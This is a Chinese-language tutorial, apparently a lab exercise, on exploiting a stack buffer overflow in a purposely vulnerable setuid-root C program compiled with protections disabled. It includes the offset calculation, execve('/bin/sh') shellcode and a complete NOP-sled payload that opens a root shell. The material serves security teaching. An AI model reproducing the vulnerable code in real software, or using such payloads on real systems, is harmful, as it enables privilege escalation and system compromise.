环境:Ubuntu12.04 32位
一、存在漏洞代码
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc,char * argv [])
{
/* [1] */ char buf [256];
/* [2] */ strcpy(buf,argv [1]);
/* [3] */ printf("input:%s \n",buf);
return 0;
}
编译命令:
(关闭栈保护,NX)
$ gcc -g -fno-stack-protector -z execstack -o vuln vuln.c --no-pie //关闭栈保护和NX保护和PIE保护
$ sudo chown root vuln
$ sudo chgrp root vuln
$ sudo chmod +s vuln
二、代码堆栈布局
(gdb) disassemble main
Dump of assembler code for function main:
0x08048414 <+0>: push %ebp //把调用函数的ebp入栈
0x08048415 <+1>: mov %esp,%ebp // 把当前栈顶设置为被调用函数的ebp
0x08048417 <+3>: and $0xfffffff0,%esp //堆栈对齐(会产生一部分空闲空间)
0x0804841a <+6>: sub $0x110,%esp //为mian函数的局部变量留出空间
0x08048420 <+12>: mov 0xc(%ebp),%eax //eax=argv
0x08048423 <+15>: add $0x4,%eax //eax=&argv[1]
0x08048426 <+18>: mov (%eax),%eax //eax=argv[1]
0x08048428 <+20>: mov %eax,0x4(%esp) //strcpy第二个参数入栈
0x0804842c <+24>: lea 0x10(%esp),%eax //eax=”buf”的地址
0x08048430 <+28>: mov %eax,(%esp) //strcpy第一个参数入栈
0x08048433 <+31>: call 0x8048330 <strcpy@plt>//调用strcpy
0x08048438 <+36>: mov $0x8048530,%eax //eax="input:%s \n"
0x0804843d <+41>: lea 0x10(%esp),%edx //edx=”buf”的地址
0x08048441 <+45>: mov %edx,0x4(%esp) //printf第二个参数入栈,即buf的地址
0x08048445 <+49>: mov %eax,(%esp) //printf第一个参数入栈,即输出字符串
0x08048448 <+52>: call 0x8048320 <printf@plt> //调用printf
0x0804844d <+57>: mov $0x0,%eax //返回0
0x08048452 <+62>: leave //mov epb,esp;pop ebp;
0x08048453 <+63>: ret //return
End of assembler dump.
三、测试
1.大概测试
r `python -c 'print "A"*300'`
返回地址被覆盖
2.计算输入数据与目标返回地址的距离
返回地址位于buf的偏移量0x10c处
0x10c=0x100(buf大小)+0x8(对齐空间)+0x4(调用函数的ebp)
所以用268个A覆盖返回地址之前的空间,用4个B覆盖返回地址:“A”*268+”B”*4
r `python -c 'print "A"*268+"B"*4'`
返回地址被BBBB覆盖
四、利用调试
1.shellcode分析
shellcode组成:填充1+shellcode的地址+填充2+shellcode
填充1:“A”*268
Shellcode 的地址:"\x4f\xf2\xff\xbf"
地址的寻找:
单步运行到main函数的最后一步,观察esp的值,此时esp处于main函数的栈顶,指向返回地址。所以shellcode的地址比esp的内容稍大一些,可以选择一个大概的地址,填充一些NOP指令使其跳到shellcode。
填充2:"\x90\x90\x90\x90\x90\x90\x90"
Shellcode:"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
2.gdb调试
(1)gdb添加-tui选项,避免花屏
(2)代码源码及汇编代码可视化
(3)寄存器可视化
(4)下断点
(5)输入shellcode,运行调试
$ r `python -c 'print "A"*268+"\x4f\xf2\xff\xbf\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
停在断点处
(6)单步步过
直到最后一步”ret”,此时main函数的ebp已经从栈中弹出,可以看到ebp已经被覆盖
执行完”ret”,可以看到eip已经替换成shellcode的地址
(7)成功写入
执行一些NOP指令后,程序跳到shellcode处,此时观察汇编指令,可以看到shellcode已经成功写入并可以执行
例如:“int 0x80”